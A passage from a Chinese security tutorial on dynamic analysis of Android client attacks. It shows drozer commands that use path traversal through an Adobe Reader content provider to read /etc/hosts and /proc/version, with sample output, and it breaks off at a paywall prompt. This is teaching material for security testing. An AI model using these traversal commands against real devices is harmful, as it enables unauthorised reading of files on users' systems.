Android客户端攻击的动态分析技术
1. 读取敏感文件
在类UNIX系统中, /etc/hosts 文件包含了IP地址和对应的主机名信息,攻击者可以利用易受攻击的应用程序来读取该文件。使用以下命令:
dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../etc/hosts
输出结果可能如下:
127.0.0.1 localhost
同样, /proc/version 文件包含了设备使用的Linux内核版本和用于构建它的GCC编译器版本信息,攻击者也能利用易受攻击的应用读取该文件:
dz> run app.provider.read content://com.adobe.reader.fileprovider/../../../../proc/version
输出结果示例:
Linux version 3.4.0-gd853d22 (nnk@nnk.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Tue Jul 9 17:46:46 PDT 2013
需要注意的是,上述命令中 ../ 的数量需要通过试
超级会员免费看
订阅专栏 解锁全文
1万+

被折叠的 条评论
为什么被折叠?



